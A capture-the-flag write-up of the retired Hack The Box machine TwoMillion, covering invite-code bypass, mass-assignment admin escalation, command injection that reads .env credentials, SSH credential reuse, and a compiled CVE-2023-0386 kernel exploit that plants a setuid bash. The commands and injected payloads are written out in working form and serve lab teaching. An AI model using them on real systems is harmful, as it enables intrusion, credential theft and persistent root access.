~ / writeups / twomillion

TwoMillion

Hack The Box · Easy · Linux

Easy Linux User + Root owned

Machine Overview

Field Value
Name TwoMillion
Difficulty Easy
OS Linux (Ubuntu 22.04)
IP 10.129.229.66
Vhost 2million.htb
Kernel 5.15.70-051570-generic
Ports 22 (SSH / OpenSSH 8.9p1), 80 (nginx)
Released / Retired 2023-06-07 / Retired

Attack surface summary: A clone of the old Hack The Box platform (the "Two Million" subscriber-era front page). Two services: SSH and an nginx-hosted PHP web app that redirects to 2million.htb. The web app exposes a JSON API (/api/v1) with user and admin routes, plus the legacy invite-code registration flow.

Flags

Flag Value
User (/home/admin/user.txt) [REDACTED]
Root (/root/root.txt) [REDACTED]

Reconnaissance

Full port scan:

nmap -p- --min-rate 5000 10.129.229.66
# 22/tcp open  ssh
# 80/tcp open  http

Service detection:

nmap -sCV -p 22,80 10.129.229.66
# 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
# 80/tcp open  http    nginx
# |_http-title: Did not follow redirect to http://2million.htb/

The web root issues a 301 to http://2million.htb/. Since the Windows attack host cannot edit /etc/hosts without admin, all HTTP calls used curl --resolve:

curl -s --resolve 2million.htb:80:10.129.229.66 -H "Host: 2million.htb" http://2million.htb/

Attack Chain

1. Invite-code bypass (registration)

The /invite page loads /js/inviteapi.min.js, an eval-packed blob that, after deobfuscation, reveals two AJAX helpers:

curl -s --resolve 2million.htb:80:10.129.229.66 -H "Host: 2million.htb" \
  -X POST http://2million.htb/api/v1/invite/how/to/generate
# {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"}, ...}

The data field is ROT13-encoded. Decoding it gives:

"In order to generate the invite code, make a POST request to /api/v1/invite/generate"

curl -s --resolve 2million.htb:80:10.129.229.66 -H "Host: 2million.htb" \
  -X POST http://2million.htb/api/v1/invite/generate
# {"0":200,"success":1,"data":{"code":"UDIwUkYtUkwwQTMtUVRZMVYtNlFRTk0=","format":"encoded"}}

echo "UDIwUkYtUkwwQTMtUVRZMVYtNlFRTk0=" | base64 -d
# P20RF-RL0A3-QTY1V-6QQNM

Registered a fresh user at POST /api/v1/user/register (form-encoded — the endpoint rejects JSON with "Please fill in all fields"):

code=P20RF-RL0A3-QTY1V-6QQNM
username=<attacker>
email=<attacker>@htb.local
password=HtbPassw0rd!1

Then logged in via POST /api/v1/user/login (form-encoded) to obtain a PHPSESSID.

2. API enumeration & mass-assignment privilege escalation

GET /api/v1 with the authenticated session cookie returns the full route map:

{
  "v1": {
    "user": {
      "GET":  { "/api/v1/user/vpn/generate": "...", "/api/v1/user/vpn/regenerate": "...", "/api/v1/user/vpn/download": "..." },
      "POST": { "/api/v1/user/register": "...", "/api/v1/user/login": "..." }
    },
    "admin": {
      "GET":  { "/api/v1/admin/auth": "Check if user is admin" },
      "POST": { "/api/v1/admin/vpn/generate": "Generate VPN for specific user" },
      "PUT":  { "/api/v1/admin/settings/update": "Update user settings" }
    }
  }
}

The PUT /api/v1/admin/settings/update endpoint trusts a client-supplied is_admin field (broken access control / mass assignment):

curl -s --resolve 2million.htb:80:10.129.229.66 -H "Host: 2million.htb" \
  -H "Content-Type: application/json" -b "PHPSESSID=<sid>" -X PUT \
  -d '{"email":"<attacker>@htb.local","is_admin":1}' \
  http://2million.htb/api/v1/admin/settings/update
# {"id":13,"username":"<attacker>","is_admin":1}

GET /api/v1/admin/auth now returns {"message":true} — we are admin.

3. Command injection → initial foothold

POST /api/v1/admin/vpn/generate concatenates the username field into a shell command without sanitization:

curl -s --resolve 2million.htb:80:10.129.229.66 -H "Host: 2million.htb" \
  -H "Content-Type: application/json" -b "PHPSESSID=<sid>" -X POST \
  -d '{"username":"x;id;whoami;hostname;"}' \
  http://2million.htb/api/v1/admin/vpn/generate
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# www-data
# 2million

Command output is echoed straight back in the response body — perfect for blind commands. Used this to read the web app .env:

-d '{"username":"x;cat /var/www/html/.env;"}'
# DB_HOST=127.0.0.1
# DB_DATABASE=htb_prod
# DB_USERNAME=admin
# DB_PASSWORD=SuperDuperPass123

4. Credential reuse → user shell

The .env database password SuperDuperPass123 was reused for the system account admin, so SSH worked directly:

ssh admin@2million.htb   # password: SuperDuperPass123

Read the user flag:

cat /home/admin/user.txt
# [REDACTED]

5. Kernel exploit → root

/var/mail/admin contained mail from ch4p warning about a serious Linux kernel CVE in "OverlayFS / FUSE":

From: ch4p <ch4p@2million.htb>
Subject: Urgent: Patch System OS
...
There have been a few serious Linux kernel CVEs already this year.
That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

The kernel 5.15.70-051570-generic is vulnerable to CVE-2023-0386 (OverlayFS file-capability copy-up, kernels < 6.2). The box had gcc 11.3.0 and libfuse-dev 2.9.9 installed, so the PoC compiled directly on target.

Used the xkaneiki/CVE-2023-0386 PoC (fuse.c, exp.c, getshell.c), with getshell.c adjusted to print the flag and drop a persistent setuid bash instead of spawning an interactive shell (the SSH exec channel is non-interactive):

setuid(0); setgid(0);
system("id");
system("cp /bin/bash /tmp/rb && chmod 4755 /tmp/rb");
system("cat /root/root.txt");

Compile & run:

gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
gcc -o exp exp.c -lcap
gcc -o gc getshell.c

mkdir -p ovlcap/lower ovlcap/work ovlcap/upper ovlcap/merge   # pre-create tree
./fuse ./ovlcap/lower ./gc &
./exp

Output confirmed the setuid copy-up and root execution:

-rwsrwxrwx 1 nobody nogroup 16096 ... file      # setuid bit survived copy-up
[+] mount success
uid=0(root) gid=0(root) groups=0(root),1000(admin)
[REDACTED]               # root flag

Root flag:

[REDACTED]

Techniques Demonstrated

  1. JS deobfuscation — eval-packed JS → ROT13 + Base64 invite-code logic.
  2. API route-map discovery — GET /api/v1 leaks the entire endpoint list.
  3. Broken access control / mass assignment — PUT /admin/settings/update honors client is_admin:1 with no authz check.
  4. Command injection — unsanitized username in VPN generation; output echoed in response.
  5. Credential reuse — .env DB password = system admin password.
  6. Kernel CVE from mail hint — /var/mail/admin → OverlayFS/FUSE → CVE-2023-0386.

Tools Used

nmap, curl (with --resolve), Python paramiko (SSH/SFTP for file transfer and command execution on target), gcc, libfuse/libcap, CVE-2023-0386 PoC.

← all writeups